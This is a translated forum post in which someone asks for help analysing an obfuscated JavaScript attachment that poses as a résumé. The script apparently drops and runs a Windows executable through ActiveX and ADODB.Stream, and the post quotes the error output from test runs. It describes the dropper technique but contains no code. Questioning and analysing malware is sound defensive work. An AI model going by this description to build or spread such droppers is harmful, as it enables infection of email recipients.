很抱歉，如果这不是正确的地方，请LMK，如果这个问题更适合其他地方！
我收到了一封特别有趣的垃圾邮件发送到我的工作邮箱。它应该是某人的简历，但它实际上是一个非常模糊的javascript。看起来它试图通过activeX启动Windows可执行文件。我认为攻击者的目标是让您直接将.js文件作为Windows脚本运行。我在Windows 7计算机上运行它，Symantec Endpoint通过“Suspicious executable image download”警告将其停止。我在没有安装任何防病毒软件的Windows XP vm中运行它，我收到了弹出通知
2865241.exe - 应用程序错误应用程序无法正确初始化（0xc0000135）。单击“确定”以终止应用程序
然后是来自Windows Script Host
Script: C:\path\to\Resume Jaime Harding.js
Line: 9
Char: 1
Error: Write to file failed.
Code: 800A0BBC
Source: ADODB.Stream
所以它实际上是在尝试编写二进制文件并运行它吗？它可能想要完成什么？它为什么失败？我扮演了“容易受骗的电子邮件收件人”的角色并运行它，它只是被轰炸了。这会成功的环境是什么？
许多乱码看起来很可能是故意丑陋的变量名称，用作window的属性。但是，有很多"charAt" s所以字符串可能只是一个诱饵，它只是提取某些字符并使用它们。一些“函数”的参数以(/regex/g,"")的形式传递，所以它看起来像是试图从字符串中滤除垃圾，但我无法分辨实际调用replace的位置是否会实际取代。
以下是JS，它是高度混淆的。我为了一些可读性而赞美它。
